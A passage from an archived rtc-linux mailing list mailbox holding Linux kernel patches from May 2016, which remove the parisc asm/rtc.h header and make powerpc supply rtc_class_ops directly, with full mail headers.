         58/TNSIsx3tp5rrjxE1lTDNCA0jBbRjRBoatOWlncaXqj4Rf9gElCFCvEZi4LOE7NBgy
         DoO5YBwfVZ+bXfUXmdFEH7kZKmrbzpissNg60tRKoz5qyoZwsZeS2lnbzTmn3Llm1ja4
         Kxt3/yEtMM3t4HHoncgg/QjCdqUZIOjRIs1LJzguuV0gs9GzOfS0rdrCPo63I9QvxcN3
         2/HJ2pKAXWtuWIbLq1bQSTQSG7dbBmO8hOk9yYkjtCZ6M6dX4eQyylQE+imCFmiF6fc5
         kruw==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tLAR8usepczpvYkEVHiwoi9ykmpjAESlWSwUqyUPs5/mwcDNyus86JXMyyO9LJ2pQ==
X-Received: by 10.28.95.193 with SMTP id t184mr32715wmb.18.1464634685851;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.133.68 with SMTP id h65ls877926wmd.19.canary; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.194.229.66 with SMTP id so2mr2934341wjc.7.1464634685372;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.73])
        by gmr-mx.google.com with ESMTPS id a65si987912wma.3.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.73 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.73;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Lucpk-1bXozY2Wh6-00zrHS; Mon, 30 May
 2016 20:58:00 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:AL5xwo4nCQeYS44ibIFy8ueg5s1VBrkTzrMNpONlcyIUMpN30K+
 c501o5i2sVnXV9j2YLRsNHO/0qp+LGuWZ7lfqGE3PkwfdJV7Rr35NLu5W3KOiXBpAg5o88O
 iQnyxeKsfxV4j5/Z7txp6h7R7FIfp6r3wiO9SiMBZ95sTWvavyx0cceYUnWYkGl1VL1oFsA
 h83NjeUOFt0W8e2CZY/kA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:e7u2vS/ZK48=:D8uwkaOQqxjg1WWyseCPOl
 UHylB7vGH9cen56Vcjs7zDDg8Fwp0LIjTwrtxrFcNuuDdDrzFm+CNz8SltsP1YQYKWQfEPvg/
 6p9vEwKjwxM6i+h7IcdSBiPl54j4+paYx+ynYMvDT8W8L3O02xsP27+y/RTjUoROUmfmao0n0
 70n1SAHo+gU3cmqWiP0w2fTyDJvC294sjelghtP59vYsYb3ulazcmOx02AcmQQu1cyaa9bLHS
 osa6H0/MLUtT4Wlu+zchk+CDjn0ZUgB1rxytADRoAKXO92Scdd2oCKFYugjrq1SEkoOWfs66D
 U/z9vLSRThZYt1GFqj4+UcCmkulyCfyzKMQBeRHGyO8PFbuLt8nAcIMgmjm+s01FOsI9rjMDk
 0rxogYQ4sbL0nQGciBj4uV18hX9W371Ks+0Jqx/5MBquJu4hviXS00ruvu8GngHt15QCautci
 M1ej9mVZ4/erNlvFjI1yqZ/QSVmhc+2OZiES/VlCFjTEekilYvoOo+s5AoXXd06XM6iRlR6SR
 fF1ZYi7Tq2m2+VNVsqpdIvE8ucE7r1hdbcPfFaD5Pwrne5qSURZOkxDopXvVo77ww6L5EB8Cc
 qmR3jPAH7DoIcHz1N8M19tJEQMvYYHmt4oUqTdTLeOPfPxeCsJw67KLfquiDh3MA7mnvS5e0F
 qmKj5OYgK3EnjKu0gWZMvI76Eqv8/XjkdnewL+/aub+UddJSs/0t0aMUhjxUV+KLpJsU=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.73 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:37 gmane.linux.ports.alpha:3743 gmane.linux.kernel:2230341 gmane.linux.ports.parisc:26797 gmane.linux.ports.ppc64.devel:127845 gmane.linux.ports.sh.devel:54130 gmane.linux.kernel.cross-arch:32177
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/37>

This architecture selects RTC_CLASS unconditionally, so the GEN_RTC
has not worked here for a long time.

Now we can remove both the asm/rtc.h header and the Kconfig dependency
for CONFIG_GEN_RTC.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/parisc/include/asm/rtc.h | 131 ------------------------------------------
 drivers/char/Kconfig          |   2 +-
 2 files changed, 1 insertion(+), 132 deletions(-)
 delete mode 100644 arch/parisc/include/asm/rtc.h

diff --git a/arch/parisc/include/asm/rtc.h b/arch/parisc/include/asm/rtc.h
deleted file mode 100644
index 099d641a42c2..000000000000
--- a/arch/parisc/include/asm/rtc.h
+++ /dev/null
@@ -1,131 +0,0 @@
-/* 
- * include/asm-parisc/rtc.h
- *
- * Copyright 2002 Randolph CHung <tausq-8fiUuRrzOP0dnm+yROfE0A@public.gmane.org>
- *
- * Based on: include/asm-ppc/rtc.h and the genrtc driver in the
- * 2.4 parisc linux tree
- */
-
-#ifndef __ASM_RTC_H__
-#define __ASM_RTC_H__
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-
-#include <asm/pdc.h>
-
-#define SECS_PER_HOUR   (60 * 60)
-#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
-
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-#define RTC_BATT_BAD 0x100	/* battery bad */
-
-/* some dummy definitions */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-# define __isleap(year) \
-  ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
-
-/* How many days come before each month (0-12).  */
-static const unsigned short int __mon_yday[2][13] =
-{
-	/* Normal years.  */
-	{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
-	/* Leap years.  */
-	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
-};
-
-static inline unsigned int get_rtc_time(struct rtc_time *wtime)
-{
-	struct pdc_tod tod_data;
-	long int days, rem, y;
-	const unsigned short int *ip;
-
-	memset(wtime, 0, sizeof(*wtime));
-	if (pdc_tod_read(&tod_data) < 0)
-		return RTC_24H | RTC_BATT_BAD;
-
-	// most of the remainder of this function is:
-//	Copyright (C) 1991, 1993, 1997, 1998 Free Software Foundation, Inc.
-//	This was originally a part of the GNU C Library.
-//      It is distributed under the GPL, and was swiped from offtime.c
-
-
-	days = tod_data.tod_sec / SECS_PER_DAY;
-	rem = tod_data.tod_sec % SECS_PER_DAY;
-
-	wtime->tm_hour = rem / SECS_PER_HOUR;
-	rem %= SECS_PER_HOUR;
-	wtime->tm_min = rem / 60;
-	wtime->tm_sec = rem % 60;
-
-	y = 1970;
-
-#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
-#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
-
-	while (days < 0 || days >= (__isleap (y) ? 366 : 365))
-	{
-		/* Guess a corrected year, assuming 365 days per year.  */
-		long int yg = y + days / 365 - (days % 365 < 0);
-
-		/* Adjust DAYS and Y to match the guessed year.  */
-		days -= ((yg - y) * 365
-			 + LEAPS_THRU_END_OF (yg - 1)
-			 - LEAPS_THRU_END_OF (y - 1));
-		y = yg;
-	}
-	wtime->tm_year = y - 1900;
-
-	ip = __mon_yday[__isleap(y)];
-	for (y = 11; days < (long int) ip[y]; --y)
-		continue;
-	days -= ip[y];
-	wtime->tm_mon = y;
-	wtime->tm_mday = days + 1;
-
-	return RTC_24H;
-}
-
-static int set_rtc_time(struct rtc_time *wtime)
-{
-	u_int32_t secs;
-
-	secs = mktime(wtime->tm_year + 1900, wtime->tm_mon + 1, wtime->tm_mday, 
-		      wtime->tm_hour, wtime->tm_min, wtime->tm_sec);
-
-	if(pdc_tod_set(secs, 0) < 0)
-		return -1;
-	else
-		return 0;
-
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
-#endif /* __KERNEL__ */
-#endif /* __ASM_RTC_H__ */
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 1d9e3063373b..074bc394e31b 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || PARISC || PPC
+	depends on M68K || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 12/16] rtc: powerpc: provide rtc_class_ops directly
Date: Mon, 30 May 2016 20:58:00 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <1464634684-1248135-13-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634704 4661 80.91.229.3 (30 May 2016 18:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:24 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:13 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f185.google.com ([209.85.217.185])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xJ-EK
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-lb0-f185.google.com with SMTP id dj16sf35324951lbb.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=ffB/vsz4Np+w6YBntWNtaE2ZxHCMrYd5ORnL5xsIKmI=;
        b=KRdpqLpN1lzlhRihKhUT4mTuzHMlRJhgVGPcFsQU91LLxasvlzBemepGBqIzxSsJXy
         lylmFl0PlFTgkY0tmUDMUG7aVAnjwWdHz2TEMbUgp9ocHCwlTrzyvW1ABhotOXlTaQ8e
         4N/Gdhs+ll14lqqS9ebRhAG/HwTUmYyGfUchKc+ACerA3zLxZwA0j62oXJTDGu+Ks5Fa
         Yt0gYG1uA0OSZdJO6O/5Ibvk7vKytkoEd4U3TlkGRtFRRITZg3lfq1LxfDbyv3vy0wZ5
         NusZdWlsh/jitq5KCpSmZindsyEkJk1x/ytVrr9SVTDLqEUvSP1D103yIoMp4yVAFCO7
         aVNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=ffB/vsz4Np+w6YBntWNtaE2ZxHCMrYd5ORnL5xsIKmI=;
        b=dDefFvAU1tDezukK/v8wJgMoCOJdAd5ybqLUtQunpjaaPMiJ1nHwqbGATb8HhxI18+
         ict/PboVRo/qlndBPA83RsQugt/zM/g+MZrWwFIG4i0vO1TGQ98xT0nZyoKH+uf5+04o
         CeZZjygXcFHrbRAo7zAph53FUFFdgoV+4Lpxij2iOrG8ni+35IZMNcUqbkuJGBjadtap
         eJpIuT0iBGrTnRBmx/XwWhFcD5vE9g/u7lVnnBmEr1ZrbXaZw1QTuaai9jAsoz0mvFxz
         SPy5JdnN+lXSMP4B5jZ1DdjhKAr+K8/2JETFhkruOnGt8f/ibTYC6TnhEv11FPS6ggCl
         rlrA==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJthbD23mNwnCdfiOT9d05AEzcu1cKgTLBiUgJ7xOjLQgqcmxqTLz8f7m/FSHcYUg==
X-Received: by 10.28.27.209 with SMTP id b200mr33018wmb.10.1464634686083;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.35.77 with SMTP id j74ls764208wmj.36.gmail; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.28.27.213 with SMTP id b204mr1214708wmb.4.1464634685795;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.75])
        by gmr-mx.google.com with ESMTPS id l68si1161828wmd.3.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.75 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.75;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LdEZd-1bpcpH3e8f-00iSt5; Mon, 30 May
 2016 20:58:03 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:y9giqI9oWgAwg+FAFlGiUy9EsT2tk43+dnKBHuox8q3+0+aju8+
 LQmSB6slNbf3i4Gx44ZOvtliVa5VBKQkaGgB37Klk/tRYsG+VK9gjwhmmDE5aJBacdCmrBU
 MEmg6Aoq7wVAAAgof+1WGVXGME53eSZeK8BQvhlUvslycdzhNwCk5vLKMpv+pHNAHUsjWbo
 FTEpC/kKvKqWLSMZZGetA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yWWyvcKKDXU=:2oq+kNvSH8AMg3X7l5fe+w
 2P16czcsLPuPjO+x5RJj42l732E87HE1GFWpF6SHXlVph83XXr3A3YZbdk+jzqFxgs0RBDKgn
 by/kuwL9ZvEHeqULjZ6gmNCNrFTLMPiKvtoRW3xtIx5Qh+tJ58BfxKVPs7zVM2/tM1jtEDA4k
 p0FAp7mMU26MJFBOUE6VqIOv4lJC1w0xgzFPRaoAwzHRm7eVMeaw65hKsUcr97kghJUVqbN6I
 ZQWn/IV5TywkXEyZpejZ4pkUjc9+7wFHgIleNSev8muEmWsNLpsBBKESClcLffW7a9eD/0o5e
 4K6OJAXuilpoRnBLTpgy7lwazHll6eptD5gUG8S9lczOrZYRE7Dxw15vc6xNNiRaFmeKJ82by
 jzFHjSMQsojQjckEEcoJzXbJVo/XiPe6batV2MuqU8kT0qbQmwJq/Dz7Q9lvdfqzqfuXHU31J
 SHO/YxGxDUGFLcHCXrh5+1ArzHKzGBTmIMmy3VKOTG0wHBC2bKdvOzSVo3tcNuOa/3YLItYAE
 e+38eXc8hdx54J6cK9NtFHIHSh/rpXN2bv6CAZS4hXrvq5+7CiFpcC/MoQGn9+DSx7kJfXb52
 tpqFkdq9eOk9l3Pcb0sZqvS5Hoon2RIZ3FJBejMcz7JPZALlN82jjROS97pfW9eLP2rb9gQq7
 MItKy0v/N6fpwViuZtSpMJNojcGRDYPxLNpMeWN4VrEpdOl09kao5HG7JCU4fPHmOE0o=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.75 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:38 gmane.linux.ports.alpha:3744 gmane.linux.kernel:2230342 gmane.linux.ports.parisc:26798 gmane.linux.ports.ppc64.devel:127846 gmane.linux.ports.sh.devel:54131 gmane.linux.kernel.cross-arch:32178
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/38>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and powerpc has another abstraction on top, which is a bit
silly.

This changes the powerpc rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/powerpc/kernel/time.c | 29 ++++++++++++++++++++++++++++-
 drivers/rtc/rtc-generic.c  |  2 +-
 2 files changed, 29 insertions(+), 2 deletions(-)

diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index 3ed9a5a21d77..7a482a7f4d8d 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -56,6 +56,7 @@
 #include <linux/irq_work.h>
 #include <linux/clk-provider.h>
 #include <linux/suspend.h>
+#include <linux/rtc.h>
 #include <asm/trace.h>
 
 #include <asm/io.h>
@@ -1081,6 +1082,29 @@ void calibrate_delay(void)
 	loops_per_jiffy = tb_ticks_per_jiffy;
 }
 
+#if IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	ppc_md.get_rtc_time(tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (!ppc_md.set_rtc_time)
+		return -EOPNOTSUPP;
+
+	if (ppc_md.set_rtc_time(tm) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
@@ -1088,9 +1112,12 @@ static int __init rtc_init(void)
 	if (!ppc_md.get_rtc_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
 device_initcall(rtc_init);
+#endif
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 5c82bae73b9c..efcb9833cac8 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,7 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_PPC)
+#if 0
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 13/16] char/genrtc: remove powerpc support
Date: Mon, 30 May 2016 20:58:01 +0200
Lines: 183
Approved: news@gmane.org
Message-ID: <1464634684-1248135-14-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634704 4665 80.91.229.3 (30 May 2016 18:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:24 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:14 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f55.google.com ([74.125.82.55])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xO-Ve
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-wm0-f55.google.com with SMTP id a136sf12848455wme.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=yJaCTJnTgBimeLqj3V+9+sahbZqVucYlq/dn1H1UZg8=;
        b=l/YNasPsIWM96BdcmKtXot3uJedamQUdehMEAhpDfQdnbkQ+KyC5wshsPkC5l68iPT
         ghdnysPgNjSGILauierIy4kXE+Pw8w9FQ66FiyPhN5WfueNwytoX2JJ+V5+nUGCZAUIs
